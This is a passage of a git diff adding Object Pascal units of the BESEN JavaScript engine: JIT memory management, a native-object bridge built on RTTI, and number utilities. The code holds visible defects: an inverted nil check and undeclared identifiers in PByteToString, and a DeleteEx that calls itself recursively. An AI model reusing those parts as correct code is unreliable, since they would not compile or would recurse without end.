((ptruint(p)+sizeof(TBESENNativeCodeMemoryManagerBlock))<(ptruint(BlockContainer^.Base)+BlockContainer^.Size)) then begin + CurrentBlock:=pointer(ptruint(ptruint(p)-sizeof(TBESENNativeCodeMemoryManagerBlock))); + if (CurrentBlock^.Signature=bncmmMemoryBlockSignature) and (CurrentBlock<>BlockContainer^.First) and (CurrentBlock<>BlockContainer^.Last) then begin + if (ptruint(CurrentBlock^.Next)-ptruint(CurrentBlock))>=DestSize then begin + CurrentBlock^.Size:=Size; + result:=p; + exit; + end else begin + result:=GetMemory(Size); + if assigned(result) then begin + if CurrentBlock^.Size<Size then begin + Move(p^,result^,CurrentBlock^.Size); + end else begin + Move(p^,result^,Size); + end; + end; + FreeMemory(p); + exit; + end; + end; + end; + BlockContainer:=BlockContainer^.Next; + end; + end; + FreeMemory(p); + end else if Size<>0 then begin + result:=GetMemory(Size); + end; +end; + +procedure InitBESEN; +begin +{$ifdef HasJIT} +{$ifdef unix} +{$ifdef darwin} + fpmprotect:=dlsym(dlopen('libc.dylib',RTLD_NOW),'mprotect'); +{$else} + fpmprotect:=dlsym(dlopen('libc.so',RTLD_NOW),'mprotect'); +{$endif} + if not assigned(fpmprotect) then begin + raise Exception.Create('Importing of mprotect from libc.so failed!'); + end; +{$endif} +{$endif} +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. diff --git a/Core/JS/BESENNativeObject.pas b/Core/JS/BESENNativeObject.pas new file mode 100644 index 0000000..9aa1b7e --- /dev/null +++ b/Core/JS/BESENNativeObject.pas @@ -0,0 +1,612 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENNativeObject; +{$i BESEN.inc} + +interface + +uses TypInfo,Variants,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor, + BESENEnvironmentRecord; + +type TBESENNativeObject=class(TBESENObjectFunction) + private + PropList:PPropList; + PropListLen:integer; + function GetProp(const Prop:TBESENObjectProperty;var V:TBESENValue;Throw:boolean):boolean; + function PutProp(const Prop:TBESENObjectProperty;const V:TBESENValue;Throw:boolean):boolean; + protected + procedure ConstructObject(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer); virtual; + procedure InitializeObject; virtual; + procedure FinalizeObject; virtual; + public + Initialized:TBESENBoolean; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + function GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; override; + function GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; override; + function GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; override; + procedure PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); override; + procedure PutIndex(const Index,ID:integer;const V:TBESENValue;Throw:TBESENBoolean); override; + function HasPropertyEx(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + function DeleteEx(const P:TBESENString;Throw:TBESENBoolean;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + function DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + end; + + TBESENNativeObjectClass=class of TBESENNativeObject; + +implementation + +uses {$ifdef BESENEmbarcaderoNextGen}System.SysUtils,{$endif}BESEN,BESENErrors,BESENHashUtils,BESENStringUtils,BESENGarbageCollector; + +{$ifdef BESENEmbarcaderoNextGen} +function PByteToString(Src:pbyte):string; +var SrcLen,ResultLen:longint; + TempStr:MarshaledAString; + TempBuffer:array[0..255] of char; +begin + result:=''; + if not assigned(Src) then begin + SrcLen:=Src^; + if ShortStringLength>0 then begin + inc(Src); + TempStr:=MarshaledAString(Src); + ResultLen:=UTF8ToUnicode(TempBuffer,length(TempBuffer),TempStr,SrcKen); + SetString(Result,TempBuffer,ResultLen-1); + end; + end; +end; +{$endif} + +constructor TBESENNativeObject.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + Initialized:=false; + PropList:=nil; + PropListLen:=0; + ObjectClassName:=ClassName+'$Constructor'; +end; + +destructor TBESENNativeObject.Destroy; +begin + if Initialized then begin + FinalizeObject; + end; + if assigned(PropList) then begin + FreeMem(PropList); + PropList:=nil; + PropListLen:=0; + end; + inherited Destroy; +end; + +procedure TBESENNativeObject.ConstructObject(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer); +begin +end; + +procedure TBESENNativeObject.InitializeObject; +{$ifdef fpc} +type PShortString=^ShortString; +{$endif} +type PMethodNameRec=^TMethodNameRec; + TMethodNameRec=packed record +{$ifdef fpc} + Name:PShortString; + Address:pointer; +{$else} + Size:word; + Address:pointer; + Name:{$ifdef BESENEmbarcaderoNextGen}TSymbolName{$else}ShortString{$endif}; +{$endif} + end; + TMethodNameRecs=packed array[word] of TMethodNameRec; + PMethodNameTable=^TMethodNameTable; + TMethodNameTable=packed record + Count:{$ifdef fpc}longword{$else}word{$endif}; + Methods:TMethodNameRecs; + end; +var i:integer; + Prop:TBESENObjectProperty; + Item:PPropInfo; + MethodTable:PMethodNameTable; + MethodNameRec:PMethodNameRec; + MethodName:TBESENSTRING; + MethodAddress:pointer; + NativeFunction:TBESENNativeFunction; +begin + if not Initialized then begin + Initialized:=true; + + ObjectClassName:=ClassName+'$Instance'; + + try + MethodTable:=pointer(pointer(ptrint(ptrint(pointer(self)^)+vmtMethodTable))^); + if assigned(MethodTable) then begin + MethodNameRec:=@MethodTable^.Methods[0]; + for i:=0 to MethodTable^.Count-1 do begin +{$ifdef fpc} + MethodName:=MethodNameRec^.Name^; +{$else} +{$ifdef BESENEmbarcaderoNextGen} + MethodName:=PByteToString(@(MethodNameRec^.Name)); +{$else} + MethodName:=TBESENSTRING(MethodNameRec^.Name); +{$endif} +{$endif} + MethodAddress:=MethodNameRec^.Address; + if (length(MethodName)>0) and assigned(MethodAddress) then begin + TMethod(NativeFunction).Code:=MethodAddress; + TMethod(NativeFunction).Data:=self; + RegisterNativeFunction(MethodName,NativeFunction,0,[],false); + end; +{$ifdef fpc} + inc(MethodNameRec); +{$else} + inc(ptruint(MethodNameRec),MethodNameRec^.Size); +{$endif} + end; + end; + except + raise; + end; + + PropListLen:=GetPropList(self,PropList); + try + for i:=0 to PropListLen-1 do begin + Item:=PropList^[i]; + if assigned(Item^.PropType) then begin + case Item^.PropType^.Kind of + tkLString,tkWString{$ifdef fpc},tkAString{$endif},tkVariant{$ifdef fpc},tkUString{$endif}, + tkInteger,tkChar,tkFloat,tkEnumeration,tkWChar,tkSet{$ifdef fpc},tkSString{$endif}, + tkInt64{$ifdef fpc},tkQWORD{$endif},tkClass:begin +{$ifdef BESENEmbarcaderoNextGen} + if not assigned(Item^.GetProc) then begin + BESENThrowNotReadable(PByteToString(@(Item^.Name))); + end; + Prop:=Properties.Get(PByteToString(@(Item^.Name))); + if not assigned(Prop) then begin + Prop:=Properties.Put(PByteToString(@(Item^.Name))); + end; +{$else} + if not assigned(Item^.GetProc) then begin + BESENThrowNotReadable(TBESENString(Item^.Name)); + end; + Prop:=Properties.Get(TBESENString(Item^.Name)); + if not assigned(Prop) then begin + Prop:=Properties.Put(TBESENString(Item^.Name)); + end; +{$endif} + Prop.PropIndex:=i; + Prop.Descriptor.Value.ValueType:=bvtUNDEFINED; + Prop.Descriptor.Getter:=nil; + Prop.Descriptor.Setter:=nil; + if assigned(Item^.SetProc) then begin + Prop.Descriptor.Attributes:=[bopaWRITABLE,bopaENUMERABLE]; + end else begin + Prop.Descriptor.Attributes:=[bopaENUMERABLE]; + end; + Prop.Descriptor.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; + end; + end; + end; + end; + except + FreeMem(PropList); + PropList:=nil; + PropListLen:=0; + raise; + end; + + InvalidateStructure; + end; +end; + +procedure TBESENNativeObject.FinalizeObject; +begin + if Initialized then begin + Initialized:=false; + if assigned(PropList) then begin + FreeMem(PropList); + PropList:=nil; + PropListLen:=0; + end; + end; +end; + +function TBESENNativeObject.GetProp(const Prop:TBESENObjectProperty;var V:TBESENValue;Throw:boolean):boolean; +var Item:PPropInfo; + O:TObject; + Index:integer; +begin + result:=false; + if not Initialized then begin + exit; + end; + + Index:=Prop.PropIndex; + if (Index>=0) and (Index<PropListLen) then begin + Item:=PropList^[Index]; + end else begin + exit; + end; + + if not assigned(Item^.GetProc) then begin + if Throw then begin +{$ifdef BESENEmbarcaderoNextGen} + BESENThrowNotReadable(PByteToString(@(Item^.Name))); +{$else} + BESENThrowNotReadable(TBESENString(Item^.Name)); +{$endif} + end; + exit; + end; + + case Item^.PropType^.Kind of + tkLString{$ifdef fpc},tkAString,tkSString{$endif}:begin + V.ValueType:=bvtSTRING; +{$ifdef Delphi2009AndUp} + V.Str:=GetStrProp(self,Item); +{$else} + V.Str:=BESENConvertToUTF8(GetStrProp(self,Item)); +{$endif} + end; + tkWString{$ifdef fpc},tkUString{$endif}{$ifdef BESENEmbarcaderoNextGen},tkUString{$endif}:begin + V.ValueType:=bvtSTRING; + V.Str:={$ifdef BESENEmbarcaderoNextGen}GetStrProp{$else}GetWideStrProp{$endif}(self,Item); + end; + tkEnumeration:begin + V.ValueType:=bvtSTRING; + V.Str:=GetEnumProp(self,Item); + end; + tkSet:begin + V.ValueType:=bvtSTRING; + V.Str:=GetSetProp(self,Item,false); + end; + tkInteger:begin + V.ValueType:=bvtNUMBER; + V.Num:=GetOrdProp(self,Item); + end; + tkChar:begin + V.ValueType:=bvtSTRING; + V.Str:=WideChar({$ifndef BESENEmbarcaderoNextGen}TBESENCHAR({$endif}byte(GetOrdProp(self,Item)){$ifndef BESENEmbarcaderoNextGen}){$endif}); + end; + tkWChar:begin + V.ValueType:=bvtSTRING; + V.Str:=widechar(word(GetOrdProp(self,Item))); + end; + tkInt64{$ifdef fpc},tkQWORD{$endif}:begin + V.ValueType:=bvtNUMBER; + V.Num:=GetInt64Prop(self,Item); + end; + tkFloat:begin + V.ValueType:=bvtNUMBER; + V.Num:=GetFloatProp(self,Item); + end; + tkClass:begin + O:=GetObjectProp(self,Item); + if assigned(O) then begin + if O is TBESENObject then begin + V.ValueType:=bvtOBJECT; + TBESENObject(v.Obj):=TBESENObject(o); + end else begin + V.ValueType:=bvtUNDEFINED; + end; + end else begin + V.ValueType:=bvtNULL; + end; + end; + tkVariant:begin + BESENVariantToValue(GetVariantProp(self,Item),V); + end; + else begin + if Throw then begin + BESENThrowTypeError('Unknown native property data type'); + end; + exit; + end; + end; + + result:=true; +end; + +function TBESENNativeObject.PutProp(const Prop:TBESENObjectProperty;const V:TBESENValue;Throw:boolean):boolean; +var Item:PPropInfo; + Index:integer; +begin + result:=false; + if not Initialized then begin + exit; + end; + + Index:=Prop.PropIndex; + if (Index>=0) and (Index<PropListLen) then begin + Item:=PropList^[Index]; + end else begin + exit; + end; + + if not (assigned(Item^.SetProc) and ((boppWRITABLE in Prop.Descriptor.Presents) and (bopaWRITABLE in Prop.Descriptor.Attributes))) then begin + if Throw then begin +{$ifdef BESENEmbarcaderoNextGen} + BESENThrowNotWritable(PByteToString(@(Item^.Name))); +{$else} + BESENThrowNotWritable(TBESENString(Item^.Name)); +{$endif} + end; + exit; + end; + + case Item^.PropType^.Kind of + tkLString{$ifdef fpc},tkAString,tkSString{$endif}:begin +{$ifdef Delphi2009AndUp} + SetStrProp(self,Item,TBESEN(Instance).ToStr(V)); +{$else} + SetStrProp(self,Item,BESENUTF16ToUTF8(TBESEN(Instance).ToStr(V))); +{$endif} + end; + tkWString{$ifdef fpc},tkUString{$endif}{$ifdef BESENEmbarcaderoNextGen},tkUString{$endif}:begin + {$ifdef BESENEmbarcaderoNextGen}SetStrProp{$else}SetWideStrProp{$endif}(self,Item,TBESEN(Instance).ToStr(V)); + end; + tkEnumeration:begin + SetEnumProp(self,Item,TBESEN(Instance).ToStr(V)); + end; + tkSet:begin + SetSetProp(self,Item,TBESEN(Instance).ToStr(V)); + end; + tkInteger:begin + SetOrdProp(self,Item,TBESEN(Instance).ToInt32(V)); + end; + tkChar:begin + if (V.ValueType=bvtSTRING) and (length(V.Str)>0) then begin + SetOrdProp(self,Item,byte(word(widechar(V.Str[1])))); + end else begin + SetOrdProp(self,Item,TBESEN(Instance).ToInt32(V)); + end; + end; + tkWChar:begin + if (V.ValueType=bvtSTRING) and (length(V.Str)>0) then begin + SetOrdProp(self,Item,word(widechar(V.Str[1]))); + end else begin + SetOrdProp(self,Item,TBESEN(Instance).ToInt32(V)); + end; + end; + tkInt64{$ifdef fpc},tkQWORD{$endif}:begin + SetInt64Prop(self,Item,TBESEN(Instance).ToInt(V)); + end; + tkFloat:begin + SetFloatProp(self,Item,TBESEN(Instance).ToNum(V)); + end; + tkClass:begin + SetObjectProp(self,Item,TBESEN(Instance).ToObj(V)); + end; + tkVariant:begin + SetVariantProp(self,Item,BESENValueToVariant(V)); + end; + else begin + if Throw then begin + BESENThrowTypeError('Wrong native property data type'); + end; + exit; + end; + end; + + result:=true; +end; + +function TBESENNativeObject.GetOwnProperty(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):boolean; +begin + LastProp:=Properties.Get(P,Hash); + if assigned(LastProp) and (LastProp.PropIndex>=0) then begin + if GetProp(LastProp,Descriptor.Value,true) then begin + Descriptor.Getter:=LastProp.Descriptor.Getter; + Descriptor.Setter:=LastProp.Descriptor.Setter; + Descriptor.Attributes:=LastProp.Descriptor.Attributes; + Descriptor.Presents:=LastProp.Descriptor.Presents; + result:=true; + end else begin + result:=false; + end; + end else begin + result:=inherited GetOwnProperty(P,Descriptor); + end; +end; + +function TBESENNativeObject.GetEx(const P:TBESENString;var AResult:TBESENValue;var Descriptor:TBESENObjectPropertyDescriptor;Base:TBESENObject=nil;Hash:TBESENHash=0):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + LastProp:=Properties.Get(P,Hash); + if assigned(LastProp) and (LastProp.PropIndex>=0) then begin + result:=GetProp(LastProp,AResult,true); + end else begin + result:=inherited GetEx(P,AResult,Descriptor,Base,Hash); + end; +end; + +function TBESENNativeObject.GetIndex(const Index,ID:integer;var AResult:TBESENValue;Base:TBESENObject=nil):boolean; +begin + if not assigned(Base) then begin + Base:=self; + end; + if (((Index>=0) and (Index<Properties.ItemCount)) and (Properties.Items[Index].ID=ID)) and (Properties.Items[Index].PropIndex>=0) then begin + result:=GetProp(Properties.Items[Index],AResult,true); + end else begin + result:=Get(TBESEN(Instance).KeyIDManager.List[ID],AResult,Base); + end; +end; + +procedure TBESENNativeObject.PutEx(const P:TBESENString;const V:TBESENValue;Throw:TBESENBoolean;var Descriptor,OwnDescriptor:TBESENObjectPropertyDescriptor;var TempValue:TBESENValue;Hash:TBESENHash=0); +begin + LastProp:=Properties.Get(P,Hash); + if assigned(LastProp) and (LastProp.PropIndex>=0) then begin + PutProp(LastProp,V,Throw); + end else begin + inherited PutEx(P,V,Throw,Descriptor,OwnDescriptor,TempValue,Hash); + end; +end; + +procedure TBESENNativeObject.PutIndex(const Index,ID:integer;const V:TBESENValue;Throw:TBESENBoolean); +begin + if (((Index>=0) and (Index<Properties.ItemCount)) and (Properties.Items[Index].ID=ID)) and (Properties.Items[Index].PropIndex>=0) then begin + PutProp(Properties.Items[Index],V,Throw); + end else begin + Put(TBESEN(Instance).KeyIDManager.List[ID],V,Throw); + end; +end; + +function TBESENNativeObject.HasPropertyEx(const P:TBESENString;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + LastProp:=Properties.Get(P,Hash); + if assigned(LastProp) and (LastProp.PropIndex>=0) then begin + result:=true; + end else begin + result:=inherited HasPropertyEx(P,Descriptor,Hash); + end; +end; + +function TBESENNativeObject.DeleteEx(const P:TBESENString;Throw:TBESENBoolean;var Descriptor:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; + procedure BESENThrowIt; + begin + BESENThrowTypeError('Delete for "'+P+'" failed'); + end; +begin + LastProp:=Properties.Get(P,Hash); + if assigned(LastProp) and (LastProp.PropIndex>=0) then begin + result:=false; + if Throw then begin + BESENThrowIt; + end; + end else begin + result:=DeleteEx(P,Throw,Descriptor,Hash); + end; +end; + +function TBESENNativeObject.DefineOwnPropertyEx(const P:TBESENString;const Descriptor:TBESENObjectPropertyDescriptor;Throw:TBESENBoolean;var Current:TBESENObjectPropertyDescriptor;Hash:TBESENHash=0):TBESENBoolean; +begin + LastProp:=Properties.Get(P,Hash); + if assigned(LastProp) and (LastProp.PropIndex>=0) then begin + if (boppVALUE in Descriptor.Presents) and ((boppWRITABLE in Descriptor.Presents) and (bopaWRITABLE in Descriptor.Attributes)) then begin + PutProp(LastProp,Descriptor.Value,Throw); + result:=true; + end else begin + if Throw then begin + BESENThrowDefineOwnProperty(P); + end; + result:=false; + end; + end else begin + result:=inherited DefineOwnPropertyEx(P,Descriptor,Throw,Current,Hash); + end; +end; + +procedure TBESENNativeObject.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + AResult.ValueType:=bvtOBJECT; + AResult.Obj:=TBESENNativeObjectClass(ClassType).Create(Instance,self,false); + TBESEN(Instance).GarbageCollector.Add(TBESENObject(AResult.Obj)); + TBESENObject(AResult.Obj).GarbageCollectorLock; + try + TBESENNativeObject(AResult.Obj).ObjectClassName:=AResult.Obj.ClassName; + TBESENNativeObject(AResult.Obj).InitializeObject; + TBESENNativeObject(AResult.Obj).ConstructObject(ThisArgument,Arguments,CountArguments); + finally + TBESENObject(AResult.Obj).GarbageCollectorUnlock; + end; +end; + +procedure TBESENNativeObject.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + BESENThrowTypeError('Not a function'); +end; + +function TBESENNativeObject.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENNativeObject.HasCall:TBESENBoolean; +begin + result:=false; +end; + +procedure TBESENNativeObject.Finalize; +var i:integer; + o:TObject; + Item:PPropInfo; +begin + if assigned(PropList) then begin + for i:=0 to PropListLen-1 do begin + Item:=PropList^[i]; + if assigned(Item^.PropType) then begin + case Item^.PropType^.Kind of + tkCLASS:begin + if assigned(Item^.SetProc) then begin + o:=GetObjectProp(self,Item); + if o is TBESENGarbageCollectorObject then begin + SetObjectProp(self,Item,nil); + end; + end; + end; + end; + end; + end; + end; + inherited Finalize; +end; + +procedure TBESENNativeObject.Mark; +var i:integer; + o:TObject; +begin + if assigned(PropList) then begin + for i:=0 to PropListLen-1 do begin + if assigned(PropList^[i].PropType) then begin + case PropList^[i].PropType^.Kind of + tkCLASS:begin + o:=GetObjectProp(self,PropList^[i]); + if o is TBESENGarbageCollectorObject then begin + TBESEN(Instance).GarbageCollector.GrayIt(TBESENObject(o)); + end; + end; + end; + end; + end; + end; + inherited Mark; +end; + +end. diff --git a/Core/JS/BESENNumberUtils.pas b/Core/JS/BESENNumberUtils.pas new file mode 100644 index 0000000..fa1568b --- /dev/null +++ b/Core/JS/BESENNumberUtils.pas @@ -0,0 +1,4419 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENNumberUtils; +{$i BESEN.inc} + +interface + +uses SysUtils,Math,BESENConstants,BESENTypes,BESENStringUtils; + +type PBESENDoubleBytes=^TBESENDoubleBytes; + TBESENDoubleBytes=array[0..sizeof(double)-1] of byte; + + TBESENNumberCodeFlagLookupTable=array[word,boolean] of byte; + + PBESENNumberCodeAbstractRelationalLookupTableItem=^TBESENNumberCodeAbstractRelationalLookupTableItem; + TBESENNumberCodeAbstractRelationalLookupTableItem=packed record + IsNotUndefined:bytebool; + ResultBooleanValue:bytebool; + DoCompare:bytebool; + Spacer:bytebool; + end; + + TBESENNumberCodeAbstractRelationalLookupTable=array[byte] of TBESENNumberCodeAbstractRelationalLookupTableItem; + +const BESEN_ROUND_TO_NEAREST=0; + BESEN_ROUND_TOWARD_ZERO=1; + BESEN_ROUND_UPWARD=2; + BESEN_ROUND_DOWNWARD=3; + + BESEN_CHECKNUMBERSTRING_FAIL=-1; + BESEN_CHECKNUMBERSTRING_EMPTY=0; + BESEN_CHECKNUMBERSTRING_VALID=1; + BESEN_CHECKNUMBERSTRING_INFNEG=2; + BESEN_CHECKNUMBERSTRING_INFPOS=3; + BESEN_CHECKNUMBERSTRING_NAN=4; + + BESEN_DOUBLETOSTRINGMODE_STANDARD=0; + BESEN_DOUBLETOSTRINGMODE_STANDARDEXPONENTIAL=1; + BESEN_DOUBLETOSTRINGMODE_FIXED=2; + BESEN_DOUBLETOSTRINGMODE_EXPONENTIAL=3; + BESEN_DOUBLETOSTRINGMODE_PRECISION=4; + BESEN_DOUBLETOSTRINGMODE_RADIX=5; + +{$ifdef BIG_ENDIAN} + BESENDoubleNaN:TBESENDoubleBytes=($7f,$ff,$ff,$ff,$ff,$ff,$ff,$ff); + BESENDoubleInfPos:TBESENDoubleBytes=($7f,$f0,$00,$00,$00,$00,$00,$00); + BESENDoubleInfNeg:TBESENDoubleBytes=($ff,$f0,$00,$00,$00,$00,$00,$00); + BESENDoubleMax:TBESENDoubleBytes=($7f,$ef,$ff,$ff,$ff,$ff,$ff,$ff); + BESENDoubleMin:TBESENDoubleBytes=($00,$00,$00,$00,$00,$00,$00,$01); +{$else} + BESENDoubleNaN:TBESENDoubleBytes=($ff,$ff,$ff,$ff,$ff,$ff,$ff,$7f); + BESENDoubleInfPos:TBESENDoubleBytes=($00,$00,$00,$00,$00,$00,$f0,$7f); + BESENDoubleInfNeg:TBESENDoubleBytes=($00,$00,$00,$00,$00,$00,$f0,$ff); + BESENDoubleMax:TBESENDoubleBytes=($ff,$ff,$ff,$ff,$ff,$ff,$ef,$7f); + BESENDoubleMin:TBESENDoubleBytes=($01,$00,$00,$00,$00,$00,$00,$00); +{$endif} + BESENDoubleZero:TBESENNumber=0; + BESENDoubleOne:TBESENNumber=1; + + BESENNumZero:TBESENNumber=0; + BESENNumOne:TBESENNumber=1; + +var BESENNumberCodeFlagLookupTable:TBESENNumberCodeFlagLookupTable; + BESENNumberCodeAbstractRelationalLookupTable:TBESENNumberCodeAbstractRelationalLookupTable; + +function BESENNumberCodeFlags(const AValue:TBESENNumber):byte; {$ifdef caninline}inline;{$endif} + +function BESENIntLog2(x:longword):longword; {$ifdef cpu386}assembler; register;{$endif} + +function BESENToInt(v:TBESENNumber):TBESENINT64; +function BESENToInt32(v:TBESENNumber):TBESENINT32; +function BESENToUInt32(v:TBESENNumber):TBESENUINT32; +function BESENToInt16(v:TBESENNumber):TBESENINT32; +function BESENToUInt16(v:TBESENNumber):TBESENUINT32; + +function BESENToIntFast(v:PBESENNumber):TBESENINT64; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +function BESENToInt32Fast(v:PBESENNumber):TBESENINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +function BESENToUInt32Fast(v:PBESENNumber):TBESENUINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +function BESENToInt16Fast(v:PBESENNumber):TBESENINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} +function BESENToUInt16Fast(v:PBESENNumber):TBESENUINT32; {$ifdef UseRegister}register;{$endif}{$ifdef caninline}inline;{$endif} + +function BESENFloatToStr(const Value:TBESENNumber):TBESENString; +function BESENFloatToLocaleStr(const Value:TBESENNumber):TBESENString; + +function BESENSameValue(const A,B:TBESENNumber):boolean; +function BESENIsNaN(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsFinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsPosInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsNegInfinite(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsPosZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsNegZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsZero(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsNegative(const AValue:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENNumberAbsolute(const AValue:TBESENNumber):TBESENNumber; {$ifdef caninline}inline;{$endif} +function BESENIsSameValue(const a,b:TBESENNumber):boolean; {$ifdef caninline}inline;{$endif} +function BESENFloor(FloatValue:TBESENNumber):TBESENNumber; {$ifdef caninline}inline;{$endif} +function BESENCeil(FloatValue:TBESENNumber):TBESENNumber; {$ifdef caninline}inline;{$endif} + +function BESENStringToDoubleExact(const StringValue:TBESENString;RoundingMode:longint=BESEN_ROUND_TO_NEAREST;Base:longint=-1;OK:pointer=nil):double; +function BESENStringToDoubleFast(const StringValue:TBESENString;RoundingMode:integer=BESEN_ROUND_TO_NEAREST):double; +function BESENStringToDouble(const StringValue:TBESENString):double; + +function BESENStringToNumber(const StringValue:TBESENString;EmptyIsValid:TBESENBoolean=true;AcceptHex:TBESENBoolean=false;OnlyNumber:boolean=false;AcceptHexSign:boolean=true):TBESENNumber; + +function BESENStringToNumberBase(const StringValue:TBESENString;Base:longint):TBESENNumber; + +function BESENDoubleToString(const AValue:double;Mode,RequestedDigits:longint):{$ifdef BESENSingleStringType}TBESENSTRING{$else}TBESENANSISTRING{$endif}; + +function BESENNumberToString(const Value:TBESENNumber):TBESENString; + +function BESENNumberToRadixString(const Value:TBESENNumber;Radix:longint):TBESENString; + +function BESENCheckNumberString(const StringValue:TBESENString;var StartPosition,EndPosition:integer;IsParseFloat,AcceptHex,OnlyNumber,AcceptHexSign:boolean):integer; + +function BESENModulo(x,y:double):double;{$ifdef cpu386}stdcall; assembler;{$endif} +function BESENModuloPos(x,y:double):double; + +implementation + +uses BESENLocale; + +procedure InitBESENNumberTables; +var i:word; + j:boolean; + c,ca,cb:byte; + Item:PBESENNumberCodeAbstractRelationalLookupTableItem; +begin + for i:=low(TBESENNumberCodeFlagLookupTable) to high(TBESENNumberCodeFlagLookupTable) do begin + for j:=low(boolean) to high(boolean) do begin + c:=0; + if j then begin + if (i and $7ff0)=$7ff0 then begin + c:=c or bncfNAN; + end; + end else begin + if (i and $7ff0)=$7ff0 then begin + if (i and $000f)<>0 then begin + c:=c or bncfNAN; + end else begin + c:=c or bncfINFINITE; + end; + end else if (i and $7fff)=0 then begin + c:=c or bncfZERO; + end; + end; + if (i and $8000)<>0 then begin + c:=c or bncfNEGATIVE; + end; + BESENNumberCodeFlagLookupTable[i,j]:=c; + end; + end; + for c:=low(byte) to high(byte) do begin + Item:=@BESENNumberCodeAbstractRelationalLookupTable[c]; + ca:=c shr 4; + cb:=c and $f; + Item^.Spacer:=false; + if ((ca or cb) and bncfNAN)<>0 then begin + Item^.IsNotUndefined:=false; + Item^.ResultBooleanValue:=false; + Item^.DoCompare:=false; + end else if (((ca and cb) and bncfZERO)<>0) and (((ca xor cb) and bncfNEGATIVE)<>0) then begin + Item^.IsNotUndefined:=true; + Item^.ResultBooleanValue:=false; + 